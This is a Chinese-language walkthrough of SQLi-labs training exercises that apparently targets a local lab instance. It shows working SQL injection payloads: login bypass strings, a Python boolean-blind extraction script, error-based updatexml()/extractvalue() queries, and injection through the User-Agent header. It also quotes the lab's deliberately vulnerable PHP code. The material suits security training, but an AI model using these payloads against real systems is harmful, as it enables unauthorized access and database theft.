根据提示,又是盲注,盲注还真是难以发现(_)
我们来一步步分析一下:
一般post注入,我们都用bp抓包,用bp的repeater模块进行请求,这样我们可以更方便的控制参数,bp的repeate模块我就不详细讲解了,我下面直接在bp里面操作了。
现在我们假设这是在一个真实的环境,我们的目的是能够进入后台,并获取数据(脱裤),现在我们进行黑盒测试。
单纯的进入后台:A.利用字典爆破,进入后台,这个需要你有足够强大的字典且登陆处的安全策略很松散
B.利用sql注入的万能密码
获取数据:sql注入脱裤
由于我们没有强大的字典,字典爆破也是效率很低的,所以我们直接从sql注入入手。
一般这种登陆处的sql语句,比较常规的就是:
select … from … where name=username and password=password
我们试着来吧
我们在uname和passwd字段中输入数据:
'"))
没有报错,没有回显,只是显示登陆失败,这就只有试试盲注是否可行了,我们不知道哪一个字段可以注入,我们就只有一起上了,payload
' or 1=1#
' or '1'='1' or '1
成功登陆,所以这里的确是有注入的,而且是典型的布尔盲注,而且username与password两处参数都是可注入的,我们再用手工测试一下几个布尔盲注常用函数是否可用:
' or substr(version(),1,1)=5#
成功登陆,现在开始写脚本吧:
#! /usr/bin/env python
#-*- coding:utf-8 -*-
import time
import requests
from bs4 import BeautifulSoup
target = "http://localhost/sqlilabs/Less-15/"
name = ''
password = ''
#post提交的数据
data = {
'uname':name,
'passwd':password,
'submit':'submit'
}
payload = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:."
def attack(object):
global data,target,name
i = 1
res = "" #存储结果
res_temp = ""#存储猜数据的中间结果
while True:
res = res_temp
for char in payload:
name = "' or substr({0},{1},1)='{2}'#".format(object,i,char)
data['uname'] = name
web_data = requests.post(target,data=data)
soup = BeautifulSoup(web_data.text,"lxml")
#获得登陆失败的标志性元素,每次判断这个元素就可以知道是否正确登陆
img = soup.select('img')[0].get('src')
if img != '../images/slap.jpg':
res_temp += char
print res_temp
break
if res == res_temp:
break
i += 1
print u'结果:'+res
if __name__ == "__main__":
#这里假设爆破数据库的version
attack('version()')
这个与15是一致的,只是单引号与双引号的区别
这一题是一个更新密码的语句,类似如下:
update tablename set password='用户输入' where username='用户输入'
类似这种我们需要爆出数据,就不能使用union执行查询语句了,这里常规的思路就是利用报错直接爆出数据。有两种方式:
最开始我是使用黑盒测试的,怎么弄都是让我走远点,就是不能成功注入,但是,后来看了源码才知道,用户名必须要输入正确。
#####updatexml()
语法:UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
http://www.runoob.com/xpath/xpath-tutorial.html
username需要输入正确
new password的值输入:
' and updatexml(1,concat(0x7e,(select version())),1)#
原理:updatexml()函数的第二个参数应该是符合xpath语法的字符串,但是我们查询的数据不符合语法,就会把真实数据爆出来
updatexml()
#####extractvalue()
' and extractvalue(1,concat(0x7e,(SELECT database())))#
题目提示是user agent的注入,但是我怎么改数据包,页面都是回显Your ip addres is:....
,我还以为搞错了,于是看了先源码:
";
echo 'Your IP ADDRESS is: ' .$IP;
echo "
";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "
";
echo 'Your Password:'. $passwd;
echo "
";
echo 'Your User Agent String:'. $uagent;
echo "
";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
echo '';
echo 'Your User Agent is: ' .$uagent;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '
';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "
";
echo "
";
echo '
';
echo "";
}
}
?>
可以看到这次用了一个函数check_input(),该函数的作用已经很明显了,就是检查用户输入,并将用户输入安全化,其中的mysql_real_escape_string()会在\x00, \n, \r, \, ', " and \x1a.
这些字符前加入反斜线进行转义,防止注入,而且这个函数也避免了宽字节注入的危险。
可以看到只有用户再登陆成功后才会显示用户的user agent,并且:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
这两句将ip地址与User-Agent插入到了数据库中,完全没有过滤,我试了ip地址注入,但是
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
这些伪造方式都没有用,所以我就只有从User-Agent入手了。插入一个引号果然报错:
,能报错我们就有办法拿到数据。用我们之前提到的updatexml()与extractvalue()函数,构造语句:
1.
' or updatexml(1,(select concat(@@datadir,0x7e,version()) from information_schema.tables limit 0,1),1) or '
2.
' or extractvalue(1,(select concat(0x7e,version()))) or '
登陆进去,很明显的提示,referrer注入,试一下加一个单引号:
接下来就是老套路了,不说了
cookie的uname处存在注入点